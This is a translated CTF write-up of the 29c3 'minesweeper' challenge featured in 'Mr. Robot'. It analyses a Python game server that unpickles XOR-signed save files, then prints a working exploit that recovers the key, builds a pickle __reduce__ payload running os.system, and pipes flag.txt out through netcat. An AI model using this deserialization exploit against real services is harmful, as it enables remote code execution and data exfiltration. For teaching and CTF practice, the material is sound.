The art of exploiting minefields: We analyze CTF-task about the game of Minesweeper from "Mr. Robot"

Hello, Habrodam and Habrogospoda!

Recently I accidentally caught my eye on an episode from the recently fashionable series “Mr. Robot”. Not being very familiar with the project, I still knew about the massive PR campaign associated with it (which even seemed to hold something like an ARG event), so when I heard the condition of an entertaining CTF task (from the bin / exploitation genre) presented in the plot of one of the series, I thought that most likely, this task existed in reality. Referring to the World Wide Web, I confirmed my assumption, and, since the task is not very difficult (I don’t have enough time to get bored with one habrostat), but extremely original and interesting, today we will deal with its analysis.
Cut, cut, cut!

Preview

In a nutshell, how it looked from TV screens: in one episode (3rd season, 1st series, ~ 20: 20-22: 50), the audience is presented with an “underground hacker institution”, aka drawn-in anarchist graffiti closet, overloaded with computers, kilometers of yellow patch cords and several cyberpunk-like Asians. Here, surrounded by neon vape-pair and a kaleidoscope of acid-green letters on the slate-black backgrounds of the terminals of the machines, the very height of the passions of the CTF-competition heated up. GG comes up to one of the participants, who complains to him that he cannot cope with one of the tasks, GG in 25 seconds explains all the secrets of the task to him, without even looking at the monitor, GG knocks the flag out. The end.

Now about the task itself: this is the real task of exploring the source code, which is 100 points (minimum, he-he), which appeared in 29c3 CTF (2012). To solve this problem, we will need: 1 part of basic cryptography knowledge and 2 parts of Python knowledge (one to pickle.loads () to see the vulnerability of shellcode implementation, the other to write a couple of lines of exploit).
')
To begin, consider the condition.

Condition

Enough of reversing? Play this game if you want, you can even save it XX.XX.XX.XX: 1024
<http: //and_tut_say_s_iskhodnikom/minesweeper.py>

Free translation from the author:

Tired of reversing? Distract a little and play our toy, and if you want, you can even save yourself to continue where you stopped! XX.XX.XX.XX: 1024
<http: //and_tut_say_s_iskhodnikom/minesweeper.py>

The source code that comes with the task is hidden under the spoiler:

In fact, we have a trivial client-server application that “plays” with you in Minesweeper. The attached source is rotated on the server, access to which the participants have only through the modest cli-interface of netcat, the client side of the game. As a result, in order to get the flag, the player needs to find a weak spot in the implementation of the self-made Minesweeper in order to gain access to the server's file system (obviously, the flag is there, where else can it be).

It's time to delve into other people's sources ...

Source code research

import pickle

As already mentioned, a person with a pinch of knowledge of the Python Standard Library will see one of the research vectors already on the second line of the source file:

 import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os 

The program uses the pickle module, which means most likely (bearing in mind the opportunity to save and load the game state), we will see a call to the piclke.loads () method, which is known to be vulnerable to the execution of arbitrary code.

The theory tells us that the pickle library is used to serialize and deserialize Python objects, i.e., to preserve the state of objects in the form of bit sequences (according to a certain algorithm, protocol), respectively, for the purpose of their long-term storage in files on railways, network transfers, etc., and recovering this state from the same bit sequence for further use in the program body. BUT, also, the theory (on behalf of Python documentation) politely warns us in bold letters on a red background that we must be sure of the reliability of the data that we deserialize so as not to fall victim to the execution of a specially crafted file with a malicious load that can spoil our life.

Remember this moment and go further along the code.

load_encrypt_key ()

 def load_encrypt_key(): try: f = open('encrypt_key.bin', 'r') try: encrypt_key = f.read(4096) if len(encrypt_key) == 4096: return encrypt_key finally: f.close() except: pass rand = random.SystemRandom() encrypt_key = "" for i in xrange(0, 4096): encrypt_key += chr(rand.randint(0,255)) try: f = open('encrypt_key.bin', 'w') try: f.write(encrypt_key) finally: f.close() except: pass return encrypt_key 

Immediately, we see a function with the frightening name load_encrypt_key () , which suggests that the game will have a method for checking / signing something (stored data?) With a secret key stored on the server.

The function does nothing else but loads the secret key: if it exists, the server takes it from the encrypt_key.bin file; otherwise, such a file is generated and clogged with random single-byte values. Size of the secret key: 4096 bytes. Remember, go ahead.

class Field

This is followed by a class that describes the field for playing Mines:

 class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] def calc_num(self, point): # ... def open(self, y, x): # ... def flag(self, y, x): # ... def load(self, data): self.__dict__ = pickle.loads(data) def save(self): return pickle.dumps(self.__dict__, 1) def write(self, stream): # ... 

I deliberately left only what deserves our attention, namely: a constructor describing the fields of the Field ( w - width, h - height, mines - a list with coordinates of mines [generated randomly] and lists of coordinates of open and cleared cells - opened and flagged respectively), as well as methods for loading and saving the game.

Our assumption turned out to be true - piclke.loads () and the truth is used to load the game. How it happens: the Field.save () method pushes the field state into a sequence of bits (using protocol 1 of the pickle.dumps () method), and the Field.load () method restores this sequence at the player’s request, returning that game process moment to it where he stopped.

The methods in which the description is omitted are the direct components of the implementation of the gameplay itself and do not contain information that would be useful for a hacker to a security researcher. Names reflect their purpose.

Connection initialization

Next we see a piece of code for establishing a connection between the client and the server, loading the secret key and creating an instance of the Field class, 16x16 in size and with the number of mines equal to 20:

 sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 1024)) sock.listen(10) signal.signal(signal.SIGCHLD, signal.SIG_IGN) encrypt_key = load_encrypt_key() while 1: client, addr = sock.accept() if os.fork() == 0: break client.close() sock.close() f = Field(16, 16, 20) 

I note that you can play Minesweeper with only one PC.

Minute PARANOUI: performing the action below is equivalent to opening a port with an application vulnerable to receiving a shell, therefore, if the port is accessible from the outside, those who decide to test the script are recommended to change the bind interface from 0.0.0.0 to 127.0.0.1 .

If you run the program in one terminal window, and in the other you set $ nc 0.0.0.0 1024 , the effect will be the same as when playing with a remote server.

Well, let's do it. Since the output is voluminous, the result is under the spoiler:

What we have:

1. After the first input of the character “h” (I wanted some help), the list of commands became available to us: o , f , q , x , l , s . We will find out a little later that o - open (open cell), f - flag (clear cell), q - quit (exit game), x - exit (exit game), l - load (load game), s - save (save game).
2. The output of the save command is in the form of a base64 string.
3. Input for the load command must also be a base64 string.

Wonderful! Let's go back to the code.

handle ()

We have reached the most interesting part - the user input processing functions:

Again, consider only significant points. Let's start with the part that is responsible for saving the game:

 elif len(line) == 1 and line[0] in "sS": msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp return (True, "Your savegame: " + base64.standard_b64encode(msg)) 

Saving occurs in 4 stages:

1. msg = f.save() - save a dump of the current state of the Field .
2. h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg - we take the sha1-hash from the received message and perform the concatenation operation: the hash together with the salt (" 4n71cH3aT " line) is added to the beginning of the message.
3. for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) - sign the message: xor'im each message byte with the next byte of the secret key.
4. return (True, "Your savegame: " + base64.standard_b64encode(msg)) - return the base64-string from the signed message. This is our save.

Consider downloading:

 elif line[0] in "lL": m = re_save.match(line) if m is None: return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2") msg = base64.standard_b64decode(m.group(1)) tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) msg = tmp if msg[0:9] != "4n71cH3aT": return (True, "Unable to load savegame (magic)") h = hashlib.sha1() h.update(msg[9+h.digest_size:]) if msg[9:9+h.digest_size] != h.digest(): return (True, "Unable to load savegame (checksum)") try: f.load(msg[9+h.digest_size:]) except: return (True, "Unable to load savegame (exception)") return (True, "Savegame loaded") 

Download takes place according to a similar algorithm, but in reverse order:

1. We decode the base64 string.
2. Again, use the xor operation to get the original message.
3. We get rid of the salt-prefix " 4n71cH3aT ".
4. We compare the existing message hash with the newly calculated one: if matched, then it is successful - return (True, "Savegame loaded") , otherwise, the checksum error is return (True, "Unable to load savegame (checksum)") .

The analysis of the code is completed, followed by the main “client-server” interaction cycle, which is of no interest to us.

Attack planning

So, we have all the necessary information to write an exploit.

A rough plan is this: create a malicious save file with a payload embedded in order to execute the desired shellcode and feed it to the server, thereby causing it to perform an action not intended by the creator of the game. Our main task in this situation is to extract the server's secret key ( part of the secret key, to be exact: in our case, the field is small, and all 4096 bytes of the key are not used) to sign our save. To do this, turn again to the following lines of the game saving method:

 msg = f.save() h = hashlib.sha1() h.update(msg) msg = "4n71cH3aT" + h.digest() + msg tmp = "" for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) 

The used cipher is a trivial xor cipher, therefore, knowing ALL the constituent equations except the secret key, we can easily extract it by simply banishing xor again:

$$

$$Save = (Prefix || Sha1 (Dump (Field)) || Dump (Field)) \ oplus Key,$$

$$

$$Key = (Prefix || Sha1 (Dump (Field)) || Dump (Field)) \ oplus Save,$$

Where $$$||$- concatenation operation.

From this we have: Save (which the game allows to receive) and Prefix (" 4n71cH3aT "). It remains to deal with the Field . In order for the trick to work, it is necessary that our (fake) instance of Field matches exactly the instance on the server, because in our case pickle.dumps () serializes the dictionary containing the fields of the instance of Field with their values.

Recall what the Field consists of:

 class Field: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = set() while len(self.mines) < mines: y = random.randint(0, h - 1) x = random.randint(0, w - 1) self.mines.add((y, x)) self.mines = sorted(self.mines) self.opened = [] self.flagged = [] 

Width, height are known, lists with open and cleared cells are the easiest to leave empty at all (having remained at the very beginning of the game, without making a single move); coordinates remain min. The only solution is passing the game to form a list with such coordinates.

I never liked Minesweeper, but to make it fair, you can watch my passage under the spoiler:

As a result, we obtained such an array of mines:

 mines = [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] 

Now, connect to Minesweeper again to get an “empty” save:

We write an exploit

First we need a fake field, in which we immediately implement the dump () method for convenience:

 class FieldFake: def __init__(self, w, h, mines): self.w = w self.h = h self.mines = sorted(set(mines)) self.opened = [] self.flagged = [] def dump(self): return pickle.dumps(self.__dict__, protocol=1) 

Let's write the function of getting salted hash connected to the message and the function of xor-encryption:

 def gamehash(gamepickle): h = hashlib.sha1() h.update(gamepickle) return '4n71cH3aT' + h.digest() + gamepickle def crypt(plain, key): return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ]) 

We write a functor for generating payloads. The desired command that the server should execute will be sent to the input, we will get the ready shellcode suitable for embedding into malicious storage at the output:

 class Payload(object): def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,)) 

Things are easy - we write main ():

 def main(): #  "" ,     encrypted = base64.standard_b64decode( 'Sqp2o3wcpQh6QGo4hT+x8U460tEeiF' \ 'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V' \ 'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF' \ 'ECoGugBcTl+DR6NTKctUxpl+yjCSO7' \ 'uwL/+Az5w+9vNpVky+QChWcP0OfHAG' \ '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt' \ 'QNtQsdy00Zrhv+lCPv+6LQxltt+u39' \ 'zLbKVnOsaLF+j0JOW3hx352U5/UIVP' \ '2xav1OcIy30n+IhmIhbikpnmk2Kc8r' \ 'Le5qMX56v/irjSqbXnIsfgeKY4DfoS' \ 'Vp79YT+c+HxDP2roMyTeS+d10uUEYM' \ 'Mp0Q==' ) #  ,    reconstructed = FieldFake( 16, 16, [ (1, 12), (1, 14), (2, 10), (2, 12), (2, 14), (3, 6), (4, 0), (4, 15), (5, 2), (8, 12), (8, 13), (8, 14), (10, 5), (10, 9), (11, 7), (11, 11), (13, 2), (13, 9), (14, 3), (14, 15) ] ) #  +  +  ( ,  ) unencrypted = gamehash(reconstructed.dump()) #    part_of_key = crypt(unencrypted, encrypted) #   evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234')) #  base64.  ! evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key)) print evilsave 

One could come up with something more original (up to the receipt of the shell), but for ease of demonstration, as a command, select a simple cat for output to localhost on port 1234 in sdout the contents of the flag.txt file, which we assume would be in the same the directory on the server from which the script was launched (in our case, you must first put it there;)), and we also have some privileges to read.

Putting it together and check the work:

And despite the fact that they wrote a warning to us " Unable to load savegame (exception) " (the generator of which was an exception that was thrown by pickle.loads () ) ...


... in the next terminal window (also on the "client" side) we were able to get the contents of the flag.txt file, hooray, hurray:

Conclusion

Task is very beautiful and original (besides, in my opinion, it well demonstrates Python's meticulous elegance and versatility), but it is quite simple, if you figure out what it was (not for nothing, only 100 points were given for it), therefore it is quite clear what caused such difficulties for the participants of the competition in the plot of the series. However, his decision by the protagonist <for half a minute without scrolling the source code is really beyond praise, he needed to slip the task of equality P and NP - with this approach, it’s all the same what to solve J

Serialize only validated data, use strong encryption, play good games and do not produce “evil” savings.

Happy hacking!

Interesting links

1. CTFtime.org / 29c3 CTF / minesweeper - ctftime.org/task/193
2. Mr.Robot.S03. As a new season, "Mr. Robot" pleased fans with Easter eggs and hacker games - "Hacker" - xakep.ru/2018/01/29/mrrobot-s03
3. Cryptic python "minesweeper" challenge: MrRobot - reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge